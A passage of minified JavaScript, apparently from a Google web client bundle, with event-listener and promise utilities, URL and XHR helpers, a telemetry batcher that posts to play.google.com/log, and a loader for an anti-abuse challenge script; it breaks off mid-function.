ZU5=function(x,T){iX(x.C,lx,1,T);lX(T,1)||AZ(T,1,1);x.rD||(T=PQ(x),eg(T,5)||d9(T,5,x.locale));x.uach&&(T=PQ(x),HP(T,qL,9)||iX(T,qL,9,x.uach))};
jgD=function(x,T){x.Z=T};
eG3=function(x){var T=T===void 0?IIi:T;var t=x.rD?void 0:fI();t?E1J(t,T).then(function(u){x.uach=u;u=PQ(x);iX(u,qL,9,x.uach);return!0}).catch(function(){return!1}):Promise.resolve(!1)};
PQ=function(x){x=HP(x.C,lx,1);var T=HP(x,ZY,11);T||(T=new ZY,iX(x,ZY,11,T));return T};
lIi=function(x){return g.OA?"webkit"+x:x.toLowerCase()};
g.SM=function(x,T,t,u){this.K=x;this.T=T;this.C=this.j=x;this.D=t||0;this.N=u||2};
g.cQ=function(x){x.C=Math.min(x.T,x.C*x.N);x.j=Math.min(x.T,x.C+(x.D?Math.round(x.D*(Math.random()-.5)*2*x.C):0));x.Z++};
mQ3=function(x){this.Ue=Vd(x,8)};
dQX=function(x){this.Ue=Vd(x)};
Um=function(x){g.W.call(this);var T=this;this.componentId="";this.C=[];this.QU="";this.pageId=null;this.nf=this.uG=-1;this.N=this.experimentIds=null;this.ZZ=this.jY=this.D=this.K=0;this.G9=1;this.timeoutMillis=0;this.Hv=!1;this.logSource=x.logSource;this.Wl=x.Wl||function(){};
this.j=new R0(x.logSource,x.rD);this.network=x.network||null;this.M2=x.M2||null;this.J=x.iKY||null;this.sessionIndex=x.sessionIndex||null;this.Zz=x.Zz||!1;this.logger=null;this.withCredentials=!x.XN;this.rD=x.rD||!1;this.S=!this.rD&&!!fI()&&!!fI().navigator&&fI().navigator.sendBeacon!==void 0;this.hQ=typeof URLSearchParams!=="undefined"&&!!(new URL(YU())).searchParams&&!!(new URL(YU())).searchParams.set;var t=AZ(new lx,1,1);ZU5(this.j,t);this.T=new g.SM(1E4,3E5,.1);x=Mgv(this,x.z6);this.Z=new uu(this.T.getValue(),
x);this.Om=new uu(6E5,x);this.Zz||this.Om.start();this.rD||(document.addEventListener("visibilitychange",function(){document.visibilityState==="hidden"&&T.cL()}),document.addEventListener("pagehide",this.cL.bind(this)))};
Mgv=function(x,T){return x.hQ?T?function(){T().then(function(){x.flush()})}:function(){x.flush()}:function(){}};
AZX=function(x){x.J||(x.J=YU());try{return(new URL(x.J)).toString()}catch(T){return(new URL(x.J,fI().location.origin)).toString()}};
RGm=function(x,T,t){t=t===void 0?x.Wl():t;var u={},H=new URL(AZX(x));t&&(u.Authorization=t);x.sessionIndex&&(u["X-Goog-AuthUser"]=x.sessionIndex,H.searchParams.set("authuser",x.sessionIndex));x.pageId&&(Object.defineProperty(u,"X-Goog-PageId",{value:x.pageId}),H.searchParams.set("pageId",x.pageId));return{url:H.toString(),body:T,RR:1,requestHeaders:u,requestType:"POST",withCredentials:x.withCredentials,timeoutMillis:x.timeoutMillis}};
SBq=function(x){PXH(x,function(T,t){T=new URL(T);T.searchParams.set("format","json");var u=!1;try{u=fI().navigator.sendBeacon(T.toString(),t.vM())}catch(H){}u||(x.S=!1);return u})};
PXH=function(x,T){if(x.C.length!==0){var t=new URL(AZX(x));t.searchParams.delete("format");var u=x.Wl();u&&t.searchParams.set("auth",u);t.searchParams.set("authuser",x.sessionIndex||"0");for(u=0;u<10&&x.C.length;++u){var H=x.C.slice(0,32),I=x.j.build(H,x.K,x.D,x.M2,x.jY,x.ZZ);if(!T(t.toString(),I)){++x.D;break}x.K=0;x.D=0;x.jY=0;x.ZZ=0;x.C=x.C.slice(H.length)}x.Z.enabled&&x.Z.stop()}};
YU=function(){return"https://play.google.com/log?format=json&hasfast=true"};
bx=function(){this.dC=typeof AbortController!=="undefined"};
rv=function(x,T){g.W.call(this);this.logSource=x;this.sessionIndex=T;this.W7="https://play.google.com/log?format=json&hasfast=true";this.Z=null;this.K=!1;this.network=null;this.componentId="";this.C=this.M2=null;this.j=!1;this.pageId=null};
cZ3=function(x,T){x.Z=T;return x};
YBf=function(x,T){x.network=T;return x};
UQf=function(x,T){x.C=T};
bUm=function(x){x.j=!0;return x};
zA=function(x,T,t,u,H,I,E){x=x===void 0?-1:x;T=T===void 0?"":T;t=t===void 0?"":t;u=u===void 0?!1:u;H=H===void 0?"":H;g.W.call(this);this.logSource=x;this.componentId=T;I?T=I:(x=new rv(x,"0"),x.componentId=T,g.y(this,x),t!==""&&(x.W7=t),u&&(x.K=!0),H&&cZ3(x,H),E&&YBf(x,E),T=x.build());this.C=T};
rZD=function(x){this.C=x};
kU=function(x,T,t){this.Z=x;this.K=T;this.fields=t||[];this.C=new Map};
ISq=function(x){return x.fields.map(function(T){return T.fieldType})};
i7V=function(x){return x.fields.map(function(T){return T.fieldName})};
F9=function(x,T){kU.call(this,x,3,T)};
hn=function(x,T){kU.call(this,x,2,T)};
g.vQ=function(x,T){this.type=x;this.currentTarget=this.target=T;this.defaultPrevented=this.Z=!1};
Ve=function(x,T){g.vQ.call(this,x?x.type:"");this.relatedTarget=this.currentTarget=this.target=null;this.button=this.screenY=this.screenX=this.clientY=this.clientX=0;this.key="";this.charCode=this.keyCode=0;this.metaKey=this.shiftKey=this.altKey=this.ctrlKey=!1;this.state=null;this.pointerId=0;this.pointerType="";this.C=null;x&&this.init(x,T)};
GA=function(x){return!(!x||!x[zGX])};
Fv3=function(x,T,t,u,H){this.listener=x;this.proxy=null;this.src=T;this.type=t;this.capture=!!u;this.uI=H;this.key=++k5X;this.removed=this.d8=!1};
Lz=function(x){x.removed=!0;x.listener=null;x.proxy=null;x.src=null;x.uI=null};
nz=function(x){this.src=x;this.listeners={};this.C=0};
g.a0=function(x,T){var t=T.type;t in x.listeners&&g.XF(x.listeners[t],T)&&(Lz(T),x.listeners[t].length==0&&(delete x.listeners[t],x.C--))};
gv=function(x,T,t,u){for(var H=0;H<x.length;++H){var I=x[H];if(!I.removed&&I.listener==T&&I.capture==!!t&&I.uI==u)return H}return-1};
g.WQ=function(x,T,t,u,H){if(u&&u.once)return BQ(x,T,t,u,H);if(Array.isArray(T)){for(var I=0;I<T.length;I++)g.WQ(x,T[I],t,u,H);return null}t=Jn(t);return GA(x)?x.listen(T,t,g.p4(u)?!!u.capture:!!u,H):hGH(x,T,t,!1,u,H)};
hGH=function(x,T,t,u,H,I){if(!T)throw Error("Invalid event type");var E=g.p4(H)?!!H.capture:!!H,Z=Cz(x);Z||(x[Qe]=Z=new nz(x));t=Z.add(T,t,u,E,I);if(t.proxy)return t;u=v13();t.proxy=u;u.src=x;u.listener=t;if(x.addEventListener)Vgf||(H=E),H===void 0&&(H=!1),x.addEventListener(T.toString(),u,H);else if(x.attachEvent)x.attachEvent(G5D(T.toString()),u);else if(x.addListener&&x.removeListener)x.addListener(u);else throw Error("addEventListener and attachEvent are unavailable.");Lvv++;return t};
v13=function(){function x(t){return T.call(x.src,x.listener,t)}
var T=n1X;return x};
BQ=function(x,T,t,u,H){if(Array.isArray(T)){for(var I=0;I<T.length;I++)BQ(x,T[I],t,u,H);return null}t=Jn(t);return GA(x)?x.mx(T,t,g.p4(u)?!!u.capture:!!u,H):hGH(x,T,t,!0,u,H)};
aIX=function(x,T,t,u,H){if(Array.isArray(T))for(var I=0;I<T.length;I++)aIX(x,T[I],t,u,H);else u=g.p4(u)?!!u.capture:!!u,t=Jn(t),GA(x)?x.f2(T,t,u,H):x&&(x=Cz(x))&&(T=x.eN(T,t,u,H))&&pz(T)};
pz=function(x){if(typeof x!=="number"&&x&&!x.removed){var T=x.src;if(GA(T))g.a0(T.TM,x);else{var t=x.type,u=x.proxy;T.removeEventListener?T.removeEventListener(t,u,x.capture):T.detachEvent?T.detachEvent(G5D(t),u):T.addListener&&T.removeListener&&T.removeListener(u);Lvv--;(t=Cz(T))?(g.a0(t,x),t.C==0&&(t.src=null,T[Qe]=null)):Lz(x)}}};
G5D=function(x){return x in Om?Om[x]:Om[x]="on"+x};
n1X=function(x,T){if(x.removed)x=!0;else{T=new Ve(T,this);var t=x.listener,u=x.uI||x.src;x.d8&&pz(x);x=t.call(u,T)}return x};
Cz=function(x){x=x[Qe];return x instanceof nz?x:null};
Jn=function(x){if(typeof x==="function")return x;x[fz]||(x[fz]=function(T){return x.handleEvent(T)});
return x[fz]};
g.wv=function(){g.W.call(this);this.TM=new nz(this);this.LZ=this;this.HG=null};
Kz=function(x,T,t,u){T=x.TM.listeners[String(T)];if(!T)return!0;T=T.concat();for(var H=!0,I=0;I<T.length;++I){var E=T[I];if(E&&!E.removed&&E.capture==t){var Z=E.listener,e=E.uI||E.src;E.d8&&g.a0(x.TM,E);H=Z.call(e,u)!==!1&&H}}return H&&!u.defaultPrevented};
x5=function(x,T){this.j=x;this.K=T;this.Z=0;this.C=null};
g1C=function(x,T){x.K(T);x.Z<100&&(x.Z++,T.next=x.C,x.C=T)};
ta=function(x){x=Tl(x);oZ||(oZ=B9i());oZ(x)};
B9i=function(){if(typeof MessageChannel!=="undefined"){var x=new MessageChannel,T={},t=T;x.port1.onmessage=function(){if(T.next!==void 0){T=T.next;var u=T.Og;T.Og=null;u()}};
return function(u){t.next={Og:u};t=t.next;x.port2.postMessage(0)}}return function(u){g.BX.setTimeout(u,0)}};
se=function(){this.Z=this.C=null};
uf=function(){this.next=this.scope=this.C=null};
g.IZ=function(x,T){$5||Wv5();Hd||($5(),Hd=!0);DQv.add(x,T)};
Wv5=function(){var x=Promise.resolve(void 0);$5=function(){x.then(yZD)}};
yZD=function(){for(var x;x=DQv.remove();){try{x.C.call(x.scope)}catch(T){RP(T)}g1C(N9V,x)}Hd=!1};
Ee=function(x){return function(){return x}};
g.qY=function(){};
JZ5=function(x){var T=T||0;return function(){return x.apply(this,Array.prototype.slice.call(arguments,0,T))}};
ZH=function(x){var T=!1,t;return function(){T||(t=x(),T=!0);return t}};
jL=function(x){var T=x;return function(){if(T){var t=T;T=null;t()}}};
CXD=function(x,T){var t=0;return function(u){g.BX.clearTimeout(t);var H=arguments;t=g.BX.setTimeout(function(){x.apply(T,H)},50)}};
g.lf=function(x){this.C=0;this.N=void 0;this.K=this.Z=this.j=null;this.T=this.D=!1;if(x!=g.qY)try{var T=this;x.call(void 0,function(t){eL(T,2,t)},function(t){eL(T,3,t)})}catch(t){eL(this,3,t)}};
Qgf=function(){this.next=this.context=this.Z=this.j=this.C=null;this.K=!1};
mD=function(x,T,t){var u=pPJ.get();u.j=x;u.Z=T;u.context=t;return u};
g.dd=function(x){if(x instanceof g.lf)return x;var T=new g.lf(g.qY);eL(T,2,x);return T};
MY=function(x){return new g.lf(function(T,t){t(x)})};
g.fI4=function(x,T,t){OUD(x,T,t,null)||g.IZ(g.XD(T,x))};
wPC=function(x){return new g.lf(function(T,t){x.length||T(void 0);for(var u,H=0;H<x.length;H++)u=x[H],g.fI4(u,T,t)})};
XPf=function(){var x,T,t=new g.lf(function(u,H){x=u;T=H});
return new Kv3(t,x,T)};
xXV=function(x,T,t,u){Aa(x,mD(T||g.qY,t||null,u))};
RZ=function(x,T){T=Tl(T);T=mD(T,T);T.K=!0;Aa(x,T);return x};
TEq=function(x,T){if(x.C==0)if(x.j){var t=x.j;if(t.Z){for(var u=0,H=null,I=null,E=t.Z;E&&(E.K||(u++,E.C==x&&(H=E),!(H&&u>1)));E=E.next)H||(I=E);H&&(t.C==0&&u==1?TEq(t,T):(I?(u=I,u.next==t.K&&(t.K=u),u.next=u.next.next):oNf(t),t73(t,H,3,T)))}x.j=null}else eL(x,3,T)};
Aa=function(x,T){x.Z||x.C!=2&&x.C!=3||sIv(x);x.K?x.K.next=T:x.Z=T;x.K=T};
uq4=function(x,T,t,u){var H=mD(null,null,null);H.C=new g.lf(function(I,E){H.j=T?function(Z){try{var e=T.call(u,Z);I(e)}catch(l){E(l)}}:I;
H.Z=t?function(Z){try{var e=t.call(u,Z);e===void 0&&Z instanceof Pd?E(Z):I(e)}catch(l){E(l)}}:E});
H.C.j=x;Aa(x,H);return H.C};
eL=function(x,T,t){x.C==0&&(x===t&&(T=3,t=new TypeError("Promise cannot resolve to itself")),x.C=1,OUD(t,x.YoU,x.JpY,x)||(x.N=t,x.C=T,x.j=null,sIv(x),T!=3||t instanceof Pd||$XC(x,t)))};
OUD=function(x,T,t,u){if(x instanceof g.lf)return xXV(x,T,t,u),!0;if(x)try{var H=!!x.$goog_Thenable}catch(E){H=!1}else H=!1;if(H)return x.then(T,t,u),!0;if(g.p4(x))try{var I=x.then;if(typeof I==="function")return Hd3(x,I,T,t,u),!0}catch(E){return t.call(u,E),!0}return!1};
Hd3=function(x,T,t,u,H){function I(e){Z||(Z=!0,u.call(H,e))}
function E(e){Z||(Z=!0,t.call(H,e))}
var Z=!1;try{T.call(x,E,I)}catch(e){I(e)}};
sIv=function(x){x.D||(x.D=!0,g.IZ(x.mP,x))};
oNf=function(x){var T=null;x.Z&&(T=x.Z,x.Z=T.next,T.next=null);x.Z||(x.K=null);return T};
t73=function(x,T,t,u){if(t==3&&T.Z&&!T.K)for(;x&&x.T;x=x.j)x.T=!1;if(T.C)T.C.j=null,id4(T,t,u);else try{T.K?T.j.call(T.context):id4(T,t,u)}catch(H){IZi.call(null,H)}g1C(pPJ,T)};
id4=function(x,T,t){T==2?x.j.call(x.context,t):x.Z&&x.Z.call(x.context,t)};
$XC=function(x,T){x.T=!0;g.IZ(function(){x.T&&IZi.call(null,T)})};
Pd=function(x){M9.call(this,x)};
Kv3=function(x,T,t){this.promise=x;this.resolve=T;this.reject=t};
g.SL=function(x,T){g.wv.call(this);this.KU=x||1;this.Y_=T||g.BX;this.xF=(0,g.K4)(this.f$y,this);this.PN=g.x9()};
g.cd=function(x,T,t){if(typeof x==="function")t&&(x=(0,g.K4)(x,t));else if(x&&typeof x.handleEvent=="function")x=(0,g.K4)(x.handleEvent,x);else throw Error("Invalid listener argument");return Number(T)>2147483647?-1:g.BX.setTimeout(x,T||0)};
Y5=function(x,T){var t=null;return(new g.lf(function(u,H){t=g.cd(function(){u(T)},x);
t==-1&&H(Error("Failed to schedule timer."))})).p_(function(u){g.BX.clearTimeout(t);
throw u;})};
g.Ue=function(x){g.W.call(this);this.N=x;this.K=0;this.j=100;this.T=!1;this.Z=new Map;this.D=new Set;this.flushInterval=3E4;this.C=new g.SL(this.flushInterval);this.C.listen("tick",this.rh,!1,this);g.y(this,this.C)};
EN3=function(x){x.C.enabled||x.C.start();x.K++;x.K>=x.j&&x.rh()};
qbV=function(x,T){return x.D.has(T)?void 0:x.Z.get(T)};
Zd5=function(x){for(var T=0;T<x.length;T++)x[T].clear()};
qA4=function(x){switch(x){case 200:return 0;case 400:return 3;case 401:return 16;case 403:return 7;case 404:return 5;case 409:return 10;case 412:return 9;case 429:return 8;case 499:return 1;case 500:return 2;case 501:return 12;case 503:return 14;case 504:return 4;default:return 2}};
ZIX=function(x){switch(x){case 0:return"OK";case 1:return"CANCELLED";case 2:return"UNKNOWN";case 3:return"INVALID_ARGUMENT";case 4:return"DEADLINE_EXCEEDED";case 5:return"NOT_FOUND";case 6:return"ALREADY_EXISTS";case 7:return"PERMISSION_DENIED";case 16:return"UNAUTHENTICATED";case 8:return"RESOURCE_EXHAUSTED";case 9:return"FAILED_PRECONDITION";case 10:return"ABORTED";case 11:return"OUT_OF_RANGE";case 12:return"UNIMPLEMENTED";case 13:return"INTERNAL";case 14:return"UNAVAILABLE";case 15:return"DATA_LOSS";
default:return""}};
bf=function(x,T,t){t=t===void 0?{}:t;T=Error.call(this,T);this.message=T.message;"stack"in T&&(this.stack=T.stack);this.code=x;this.metadata=t;this.name="RpcError";Object.setPrototypeOf(this,this.constructor.prototype)};
g.rd=function(x){return(new jLJ).vM(x)};
jLJ=function(){};
zl=function(x,T,t){if(T==null)t.push("null");else{if(typeof T=="object"){if(Array.isArray(T)){var u=T;T=u.length;t.push("[");for(var H="",I=0;I<T;I++)t.push(H),zl(x,u[I],t),H=",";t.push("]");return}if(T instanceof String||T instanceof Number||T instanceof Boolean)T=T.valueOf();else{t.push("{");H="";for(u in T)Object.prototype.hasOwnProperty.call(T,u)&&(I=T[u],typeof I!="function"&&(t.push(H),eKv(u,t),t.push(":"),zl(x,I,t),H=","));t.push("}");return}}switch(typeof T){case "string":eKv(T,t);break;case "number":t.push(isFinite(T)&&
!isNaN(T)?String(T):"null");break;case "boolean":t.push(String(T));break;case "function":t.push("null");break;default:throw Error("Unknown type: "+typeof T);}}};
eKv=function(x,T){T.push('"',x.replace(l3q,function(t){var u=mgD[t];u||(u="\\u"+(t.charCodeAt(0)|65536).toString(16).slice(1),mgD[t]=u);return u}),'"')};
dgH=function(x){switch(x){case 0:return"No Error";case 1:return"Access denied to content document";case 2:return"File not found";case 3:return"Firefox silently errored";case 4:return"Application custom error";case 5:return"An exception occurred";case 6:return"Http response at 400 or 500 level";case 7:return"Request was aborted";case 8:return"Request timed out";case 9:return"The resource is not available offline";default:return"Unrecognized error code"}};
Mov=function(){};
k5=function(){};
FH=function(x,T,t,u,H,I,E){var Z="";x&&(Z+=x+":");t&&(Z+="//",T&&(Z+=T+"@"),Z+=t,u&&(Z+=":"+u));H&&(Z+=H);I&&(Z+="?"+I);E&&(Z+="#"+E);return Z};
Vt=function(x){return x?decodeURI(x):x};
g.Lq=function(x,T){return T.match(Gl)[x]||null};
g.nq=function(x){return Vt(g.Lq(3,x))};
g.AqC=function(x){x=x.match(Gl);return FH(x[1],x[2],x[3],x[4])};
aZ=function(x){x=x.match(Gl);return FH(null,null,null,null,x[5],x[6],x[7])};
RKH=function(x){var T=x.indexOf("#");return T<0?x:x.slice(0,T)};
gd=function(x,T){if(x){x=x.split("&");for(var t=0;t<x.length;t++){var u=x[t].indexOf("="),H=null;if(u>=0){var I=x[t].substring(0,u);H=x[t].substring(u+1)}else I=x[t];T(I,H?fd(H):"")}}};
Bd=function(x,T){if(!T)return x;var t=x.indexOf("#");t<0&&(t=x.length);var u=x.indexOf("?");if(u<0||u>t){u=t;var H=""}else H=x.substring(u+1,t);x=[x.slice(0,u),H,x.slice(t)];t=x[1];x[1]=T?t?t+"&"+T:T:t;return x[0]+(x[1]?"?"+x[1]:"")+x[2]};
Wd=function(x,T,t){if(Array.isArray(T))for(var u=0;u<T.length;u++)Wd(x,String(T[u]),t);else T!=null&&t.push(x+(T===""?"":"="+g.Ob(T)))};
PuV=function(x,T){var t=[];for(T=T||0;T<x.length;T+=2)Wd(x[T],x[T+1],t);return t.join("&")};
g.DH=function(x){var T=[],t;for(t in x)Wd(t,x[t],T);return T.join("&")};
SAC=function(x,T){var t=arguments.length==2?PuV(arguments[1],0):PuV(arguments,1);return Bd(x,t)};
g.NY=function(x,T){T=g.DH(T);return Bd(x,T)};
Ja=function(x,T,t){t=t!=null?"="+g.Ob(t):"";return Bd(x,T+t)};
cq3=function(x,T,t,u){for(var H=t.length;(T=x.indexOf(t,T))>=0&&T<u;){var I=x.charCodeAt(T-1);if(I==38||I==63)if(I=x.charCodeAt(T+H),!I||I==61||I==38||I==35)return T;T+=H+1}return-1};
Cq=function(x,T){var t=x.search(YAC),u=cq3(x,0,T,t);if(u<0)return null;var H=x.indexOf("&",u);if(H<0||H>t)H=t;u+=T.length+1;return fd(x.slice(u,H!==-1?H:0))};
Qt=function(x,T){for(var t=x.search(YAC),u=0,H,I=[];(H=cq3(x,u,T,t))>=0;)I.push(x.substring(u,H)),u=Math.min(x.indexOf("&",H)+1||t,t);I.push(x.slice(u));return I.join("").replace(Ugq,"$1")};
bIm=function(x,T,t){return Ja(Qt(x,T),T,t)};
g.pq=function(x){g.wv.call(this);this.headers=new Map;this.Om=x||null;this.j=!1;this.C=null;this.J="";this.Z=0;this.K="";this.T=this.uG=this.S=this.jY=!1;this.ZZ=0;this.D=null;this.Hv="";this.N=!1};
zKi=function(x,T,t,u,H,I,E){var Z=new g.pq;rqX.push(Z);T&&Z.listen("complete",T);Z.mx("ready",Z.Ac);I&&(Z.ZZ=Math.max(0,I));E&&(Z.N=E);Z.send(x,t,u,H)};
FKV=function(x,T){x.j=!1;x.C&&(x.T=!0,x.C.abort(),x.T=!1);x.K=T;x.Z=5;k0J(x);Oe(x)};
k0J=function(x){x.jY||(x.jY=!0,x.dispatchEvent("complete"),x.dispatchEvent("error"))};
hK5=function(x){if(x.j&&typeof fq!="undefined")if(x.S&&g.wd(x)==4)setTimeout(x.g1.bind(x),0);else if(x.dispatchEvent("readystatechange"),x.isComplete()){x.getStatus();x.j=!1;try{if(Kq(x))x.dispatchEvent("complete"),x.dispatchEvent("success");else{x.Z=6;try{var T=g.wd(x)>2?x.C.statusText:""}catch(t){T=""}x.K=T+" ["+x.getStatus()+"]";k0J(x)}}finally{Oe(x)}}};
Oe=function(x,T){if(x.C){x.D&&(clearTimeout(x.D),x.D=null);var t=x.C;x.C=null;T||x.dispatchEvent("ready");try{t.onreadystatechange=null}catch(u){}}};
Kq=function(x){var T=x.getStatus();a:switch(T){case 200:case 201:case 202:case 204:case 206:case 304:case 1223:var t=!0;break a;default:t=!1}if(!t){if(T=T===0)x=g.Lq(1,String(x.J)),!x&&g.BX.self&&g.BX.self.location&&(x=g.BX.self.location.protocol.slice(0,-1)),T=!vOq.test(x?x.toLowerCase():"");t=T}return t};
g.wd=function(x){return x.C?x.C.readyState:0};
g.XH=function(x){try{return x.C?x.C.responseText:""}catch(T){return""}};
g.xF=function(x){try{if(!x.C)return null;if("response"in x.C)return x.C.response;switch(x.Hv){case "":case "text":return x.C.responseText;case "arraybuffer":if("mozResponseArrayBuffer"in x.C)return x.C.mozResponseArrayBuffer}return null}catch(T){return null}};
g.Vo3=function(x){var T={};x=(x.C&&g.wd(x)>=2?x.C.getAllResponseHeaders()||"":"").split("\r\n");for(var t=0;t<x.length;t++)if(!g.Y9(x[t])){var u=nZD(x[t]),H=u[0];u=u[1];if(typeof u==="string"){u=u.trim();var I=T[H]||[];T[H]=I;I.push(u)}}return RL(T,function(E){return E.join(", ")})};
g.Te=function(x,T){return x.C?x.C.getResponseHeader(T):null};
oA=function(){};
sW=function(x,T){this.logger=x;this.event=T;this.startTime=t5()};
u7=function(){Zd.apply(this,arguments);this.yF={Tj:function(){return[]}}};
$F=function(x,T,t){var u=t5();T=T();x.Wx(t,t5()-u);return T};
HO=function(){u7.apply(this,arguments)};
i7=function(x){u7.call(this);var T=this;this.logger=x;this.yF={UYW:function(){return T.logger},
Tj:function(){return T.logger.yF.Tj()}};
this.addOnDisposeCallback(function(){return void T.logger.dispose()})};
G0J=function(x){return{jTu:new cfV(x),errorCount:new rf3(x),eventCount:new UfX(x),t3:new b44(x),oLU:new YHf(x),LsW:new zvq(x),nZ:new kiH(x),zWZ:new F3i(x)}};
LKm=function(x,T,t,u){x=bUm(YBf(cZ3(new rv(1828,"0"),x),new oA));T.length&&UQf(x,$55(new uV5,T));u!==void 0&&(x.W7=u);var H=new zA(1828,"","",!1,"",x.build());g.y(H,x);var I=new g.Ue({flush:function(E){try{H.flush(E)}catch(Z){t(Z)}}});
I.addOnDisposeCallback(function(){setTimeout(function(){try{I.rh()}finally{H.dispose()}})});
I.j=1E5;I.flushInterval=3E4;I.C.setInterval(3E4);return I};
IA=function(x,T){g.W.call(this);var t=this;this.callback=x;this.Z=T;this.C=-T;this.addOnDisposeCallback(function(){return void clearTimeout(t.iI)})};
nOv=function(x){if(x.iI===void 0){var T=Math.max(0,x.C+x.Z-t5());x.iI=setTimeout(function(){try{x.callback()}finally{x.C=t5(),x.iI=void 0}},T)}};
EW=function(x,T,t){u7.call(this);this.metrics=x;this.Nm=T;this.C_=t};
qq=function(x,T){T=T===void 0?[]:T;var t={Nm:x.Nm||"_",C_:x.C_||"",b6:x.b6||[],dl:x.dl|0,W7:x.W7,bY:x.bY||function(){},
eB:x.eB||function(I,E){return LKm(I,E,t.bY,t.W7)}},u=t.eB("46",t.b6.concat(T));
EW.call(this,G0J(u),t.Nm,t.C_);var H=this;this.j=T;this.yF={Tj:function(){return H.options.b6.concat(H.j).sort(function(I,E){return I-E})}};
this.options=t;this.service=u;this.Z=!x.eB;this.C=new IA(function(){return void H.service.rh()},t.dl);
this.addOnDisposeCallback(function(){H.C.dispose();H.Z&&H.service.dispose()})};
t5=function(){var x,T,t;return(t=(x=globalThis.performance)==null?void 0:(T=x.now)==null?void 0:T.call(x))!=null?t:Date.now()};
ZM=function(x){this.Ue=Vd(x)};
j9=function(x){this.Ue=Vd(x)};
e9=function(x){this.Ue=Vd(x,0,e9.messageId)};
HE=function(x){this.Ue=Vd(x)};
l7=function(x){this.Ue=Vd(x)};
g.mn=function(){var x=this;this.promise=new Promise(function(T,t){x.resolve=T;x.reject=t})};
a3H=function(x,T,t){if(x.disable)return new HO;T=T?RvX(T):[];if(t)return t.iZ(T),t.share();x={Nm:x.Nm,C_:x.C_,b6:x.pR,dl:x.M8m,W7:x.W7,bY:x.bY,eB:x.eB};t=T;t=t===void 0?[]:t;return new qq(x,t)};
da=function(x){function T(R,Y,b,z){Promise.resolve().then(function(){e.done();Z.ZI();Z.dispose();E.resolve({Tr:R,bCj:Y,R4j:b,QXu:z})})}
function t(R,Y,b,z){if(!u.logger.T9()){var F="k";Y?F="h":b&&(F="u");F!=="k"?z!==0&&(u.logger.Sa(F),u.logger.Wx(F,R)):u.Z<=0?(u.logger.Sa(F),u.logger.Wx(F,R),u.Z=Math.floor(Math.random()*200)):u.Z--}}
g.W.call(this);var u=this;this.Z=Math.floor(Math.random()*200);this.C=new l7;if("challenge"in x&&gOV(x.challenge)){var H=eg(x.challenge,4);var I=eg(x.challenge,5);eg(x.challenge,7)&&(this.C=Bg5(eg(x.challenge,7)))}else H=x.program,I=x.globalName;this.addOnDisposeCallback(function(){var R,Y,b;return g.G(function(z){if(z.C==1)return g.v(z,u.j,2);R=z.Z;Y=R.bCj;(b=Y)==null||b();g.RV(z)})});
this.logger=a3H(x.VO||{},this.C,x.s8);g.y(this,this.logger);var E=new g.mn;this.j=E.promise;this.logger.Sa("t");var Z=this.logger.share(),e=new sW(Z,"t");if(!g.BX[I])throw this.logger.o4(25),Error("EGOU");if(!g.BX[I].a)throw this.logger.o4(26),Error("ELIU");try{var l=g.BX[I].a;I=[];for(var m=[],d=RvX(this.C),M=0;M<d.length;M++)I.push(d[M]),m.push(1);var A=P3C(this.C);for(d=0;d<A.length;d++)I.push(A[d]),m.push(2);this.K=g.S(l(H,T,!0,x.BR,t,[I,m],eg(this.C,5))).next().value;this.G8=E.promise.then(function(){})}catch(R){throw this.logger.o4(28),
R;
}};
WKH=function(x){if(!x)return null;x=ZI(x,4);return x===null||x===void 0?null:Ub(x)};
Mq=function(){this.Z={};this.C=null};
A5=function(){Mq.instance||(Mq.instance=new Mq);return Mq.instance};
RA=function(x,T){return DgV(x,HP(T,ZM,1),HP(T,j9,2),eg(T,3))};
DgV=function(x,T,t,u){if(!T&&!t)return Promise.resolve();if(!u)return yqC(T,t);var H;(H=x.Z)[u]||(H[u]=new Promise(function(I,E){yqC(T,t).then(function(){x.C=u;I()},function(Z){delete x.Z[u];
E(Z)})}));
return x.Z[u]};
yqC=function(x,T){return T?NgH(T):x?JqX(x):Promise.resolve()};
NgH=function(x){return new Promise(function(T,t){var u=g.Xn("SCRIPT"),H=WKH(x);g.yD(u,H);u.onload=function(){g.sm(u);T()};
u.onerror=function(){g.sm(u);t(Error("EWLS"))};
(g.D3("HEAD")[0]||document.documentElement).appendChild(u)})};
JqX=function(x){return new Promise(function(T){var t=g.Xn("SCRIPT");if(x){var u=ZI(x,6);u=u===null||u===void 0?null:Sd5(u)}else u=null;t.textContent=Wx(u);DZ(t);(g.D3("HEAD")[0]||document.documentElement).appendChild(t);g.sm(t);T()})};
PO=function(x){this.Ue=Vd(x)};
S9=function(x){this.Ue=Vd(x)};
cO=function(x,T,t){this.client=x;this.St=T;this.C=t};
YF=function(x){g.W.call(this);var T=this;this.options=x;this.D=new g.mn;this.G8=this.D.promise;this.T=new g.mn;this.J=1;this.j=new g.mn;this.K=[];this.LD=x.LD||function(){};
this.logger=new i7(a3H(x.VO||{}));CuH(this,x.rP,x.lW,x.EqW,x.II9,Object.assign({},QLf,x.JN||{}));this.addOnDisposeCallback(function(){return void pR4(T)})};
OIJ=function(x){var T;return g.G(function(t){if(x.T9())throw Error("Already disposed");(T=x.C)!=null&&(T.endTimeMs=0,T.mm(1));return g.v(t,x.j.promise,0)})};
pR4=function(x){x.N=Error("Cancelled by dispose");x.T.resolve();q9(x.D.promise);x.D.reject(Error("Cancelled by dispose"));x.logger.dispose();Promise.all(x.K).then(function(){var t;return g.G(function(u){(t=x.Z)==null||t.dispose();x.Z=void 0;g.RV(u)})});
x.K=[];var T;(T=x.C)!=null&&(T.endTimeMs=0,T.mm(1));q9(x.j.promise);x.j.reject(Error("Cancelled by dispose"))};
f3H=function(x,T){var t=x.LD;x.LD=function(){t();T()}};
wRv=function(x,T){x.T9()||(x.Z=T,x.logger.update(T.TR()),x.T.resolve(),x.D.resolve(void 0),x.LD())};
KK4=function(x,T){T&&(Promise.all(x.K).then(function(){return void T.dispose()}),x.K=[])};
UW=function(x,T){x.J=T;var t,u;(u=(t=x.options).JHy)==null||u.call(t,T)};
XR3=function(x){x.T9()||(x.j.resolve(),x.j=new g.mn)};
CuH=function(x,T,t,u,H,I){u=u===void 0?A5():u;H=H===void 0?Promise.resolve(void 0):H;var E,Z,e,l,m,d,M,A,R,Y,b,z;g.G(function(F){switch(F.C){case 1:return g.v(F,0,3);case 3:Z=null;if(!E){F.lG(6);break}UW(x,7);g.PX(F,7);return g.v(F,ra(E.snapshot({}),I.Wz,function(){return Promise.resolve("E:CTO")}),9);
